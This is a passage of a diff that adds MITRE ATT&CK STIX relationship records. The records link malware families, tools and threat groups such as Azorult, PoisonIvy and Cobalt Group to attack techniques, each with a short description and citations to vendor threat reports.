"relationship--77c0befc-9fbc-407e-aaa4-3dcc14624c10", + "external_references": [ + { + "source_name": "ESET TeleBots Oct 2018", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "modified": "2019-04-24T21:14:11.973Z", + "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can collect the machine information, system architecture, the OS version, computer name, Windows product name, the number of CPU cores, video card information, and the system language.", + "type": "relationship", + "created": "2019-01-30T15:19:15.050Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e391c03a-9ef4-436f-8ab5-2c15168c9551", + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + }, + { + "source_name": "Proofpoint Azorult July 2018", + "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside" + } + ], + "modified": "2019-07-26T23:22:28.396Z", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) uses cmd.exe to create a reverse shell on the infected endpoint.", + "type": "relationship", + "created": "2019-01-30T15:27:06.728Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1719d211-582f-4ae9-90f4-2ec984360927", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-02-12T21:28:19.612Z", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) has a command to upload information about all running processes to its C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6fdaef62-c4da-488a-a07d-c8fca2c98d85", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) uses Port Number 8080 for C2.", + "type": "relationship", + "created": "2019-01-30T15:43:19.426Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2a481cb4-52b4-4d7e-80ff-d40c92e5fa1c", + "external_references": [ + { + "source_name": "McAfee Oceansalt Oct 2018", + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "modified": "2019-02-12T21:14:11.238Z", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can collect the username from a victim machine.", + "type": "relationship", + "created": "2019-01-30T16:39:54.200Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--395fbd2c-7827-49b3-8121-72d54181f0b1", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. 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Retrieved April 5, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + } + ], + "modified": "2019-04-24T23:41:40.115Z", + "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", + "relationship_type": "uses", + "target_ref": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T16:17:30.710Z", + "type": "relationship", + "created": "2019-01-30T17:04:29.735Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8b42462a-0d66-4740-8f48-0857ab523370", + "external_references": [ + { + "source_name": "FireEye APT35 2018", + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + } + ], + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mivast](https://attack.mitre.org/software/S0080) has the capability to gather NTLM password information.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ac72c3da-6b58-4f66-8476-8d3cc9ccf6bd", + "external_references": [ + { + "source_name": "Symantec Backdoor.Mivast", + "description": "Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.", + "url": "http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has searched for anti-malware strings and anti-virus processes running on the system.", + "type": "relationship", + "created": "2019-01-30T17:43:28.210Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--48649215-087c-4ded-925c-f2c3f57dcba1", + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "modified": "2019-01-31T18:48:52.052Z", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[zwShell](https://attack.mitre.org/software/S0350) can obtain the victim PC name and OS version.", + "type": "relationship", + "created": "2019-01-30T17:48:35.676Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5f179b5c-497f-42da-bc32-360b6113122b", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-01-30T17:48:35.676Z", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has used ports 25 and 80 for C2 communications.", + "type": "relationship", + "created": "2019-01-30T18:02:59.262Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--112b0183-25f5-4a58-8b50-c41fcae19784", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-03-25T14:36:29.917Z", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) enumerates information about connected storage devices.", + "type": "relationship", + "created": "2019-01-30T18:39:48.354Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--45f3afcd-d0b7-494b-a61a-cad724dbf72a", + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ], + "modified": "2019-07-17T01:18:32.766Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Calisto](https://attack.mitre.org/software/S0274) has the capability to add its own account to the victim's machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fe99ee01-a049-4867-bf3b-27d05461b0b3", + "external_references": [ + { + "source_name": "Symantec Calisto July 2018", + "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "relationship_type": "uses", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has a command to download and execute a file on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T19:18:20.132Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5cb54f4b-f615-44ad-94d6-136ff507c2d6", + "external_references": [ + { + "source_name": "TrendMicro MacOS April 2018", + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "modified": "2019-01-30T19:18:20.132Z", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Commands such as net use and net session can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about network connections from a particular host.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4c94f67d-6662-44ea-be75-ded8b2dbfa00", + "external_references": [ + { + "source_name": "Savill 1999", + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "modified": "2019-04-24T23:39:01.579Z", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors use [at](https://attack.mitre.org/software/S0110) to schedule tasks to run self-extracting RAR archives, which install [HTTPBrowser](https://attack.mitre.org/software/S0070) or [PlugX](https://attack.mitre.org/software/S0013) on other victims on a network.", + "type": "relationship", + "created": "2017-05-31T21:33:27.061Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--17594ffb-af22-4cdc-8849-ca31d2019a9e", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2019-07-14T21:15:55.337Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The \"Uploader\" variant of [HAMMERTOSS](https://attack.mitre.org/software/S0037) visits a hard-coded server over HTTP/S to download the images [HAMMERTOSS](https://attack.mitre.org/software/S0037) uses to receive commands.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4556634c-06f7-48f9-bcaa-22d023524068", + "external_references": [ + { + "source_name": "FireEye APT29", + "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) writes collected data to a temporary file in an encrypted form before exfiltration to a C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a1dc7c15-bd44-43b3-a32b-8e4ea9856758", + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to search for a given filename on a victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ccb67d98-71d6-4a26-86b6-281174ca07b0", + "external_references": [ + { + "source_name": "Zscaler Kasidet", + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may use WMI when collecting information about a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--35419603-7bc2-40f6-8e5d-4e7a8f13ebb7", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SLOWDRIFT](https://attack.mitre.org/software/S0218) uses cloud based services for C2.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2b789109-44c7-4195-8df8-50b1e09b1a69", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--414dc555-c79e-4b24-a2da-9b607f7eaf16", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) contains a keylogger.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3ef89472-470c-42c9-be01-155efe607b78", + "external_references": [ + { + "source_name": "FireEye Poison Ivy", + "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf" + }, + { + "source_name": "Symantec Darkmoon Aug 2005", + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pisloader](https://attack.mitre.org/software/S0124) has commands to list drives on the victim machine and to list file information for a given directory.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ed8b5029-835d-492c-a1f4-10ccbf084a76", + "external_references": [ + { + "source_name": "Palo Alto DNS Requests", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T14:25:29.686Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cde73e1c-da81-4673-a161-49693b45cd48", + "external_references": [ + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + }, + { + "source_name": "Secureworks Cobalt Gypsy Feb 2017", + "description": "Counter Threat Unit Research Team. (2017, February 15). Iranian PupyRAT Bites Middle Eastern Organizations. Retrieved December 27, 2017.", + "url": "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations" + }, + { + "source_name": "SecureWorks Mia Ash July 2017", + "description": "Counter Threat Unit Research Team. (2017, July 27). The Curious Case of Mia Ash: Fake Persona Lures Middle Eastern Targets. Retrieved February 26, 2018.", + "url": "https://www.secureworks.com/research/the-curious-case-of-mia-ash" + }, + { + "source_name": "FireEye APT35 2018", + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + } + ], + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has sent spearphishing emails with attachments to victims as its primary initial access vector.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e797fcd8-4ad6-43d3-a36a-3c05d0ce8832", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2019-05-10T12:14:32.200Z", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Forfiles](https://attack.mitre.org/software/S0193) can be used to locate certain types of files/directories in a system.(ex: locate all files with a specific extension, name, and/or age)", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9e235097-0a3a-410f-b3a1-ec50ea910d47", + "external_references": [ + { + "source_name": "\u00dcberwachung APT28 Forfiles June 2015", + "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", + "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--90ec2b22-7061-4469-b539-0989ec4f96c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent Word OLE compound documents with malicious obfuscated VBA macros that will run upon user execution and executed JavaScript scriptlets on the victim's machine. The group has also used an exploit toolkit known as Threadkit that launches .bat files.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7d115073-c008-4394-867d-07c385d3db87", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + }, + { + "source_name": "Morphisec Cobalt Gang Oct 2018", + "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.", + "url": "https://blog.morphisec.com/cobalt-gang-2.0" + }, + { + "source_name": "Unit 42 Cobalt Gang Oct 2018", + "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/" + }, + { + "source_name": "TrendMicro Cobalt Group Nov 2017", + "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + } + ], + "modified": "2019-07-26T23:38:34.051Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Crimson](https://attack.mitre.org/software/S0115) uses a custom TCP protocol for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3297e12f-85de-4630-926a-cddc54964880", + "external_references": [ + { + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) has sent a C2 response that was 